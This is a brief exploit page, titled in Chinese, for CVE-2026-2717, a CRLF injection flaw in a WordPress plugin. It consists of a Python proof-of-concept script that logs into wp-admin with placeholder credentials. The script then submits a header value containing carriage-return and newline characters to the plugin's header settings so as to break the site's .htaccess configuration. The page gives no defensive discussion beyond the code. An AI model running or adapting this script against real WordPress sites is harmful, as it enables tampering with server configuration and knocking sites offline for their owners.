CVE-2026-2717 WordPress插件CRLF注入漏洞

import requests # Target URL and Login credentials (placeholder) target_url = "http://example.com/wp-admin/admin.php?page=http-headers" login_url = "http://example.com/wp-login.php" username = "admin" password = "password" # Create a session to maintain cookies session = requests.Session() # 1. Login to WordPress login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": target_url } session.post(login_url, data=login_data) # 2. Prepare the malicious payload with CRLF injection # Injecting a newline character to break Apache configuration malicious_header_name = "X-Malicious-Header" malicious_header_value = "Value\r\n\n# This line breaks the config" # 3. Send the payload to the plugin settings # Note: Field names (action, option_page, etc.) depend on the specific plugin implementation payload_data = { "action": "update", "option_page": "http_headers_options", "_wpnonce": "<fetch_from_page>", # Nonce required "custom_headers[]": {malicious_header_name: malicious_header_value} } response = session.post(target_url, data=payload_data) if response.status_code == 200: print("[+] Payload sent successfully. Check .htaccess for configuration corruption.") else: print("[-] Failed to send payload.")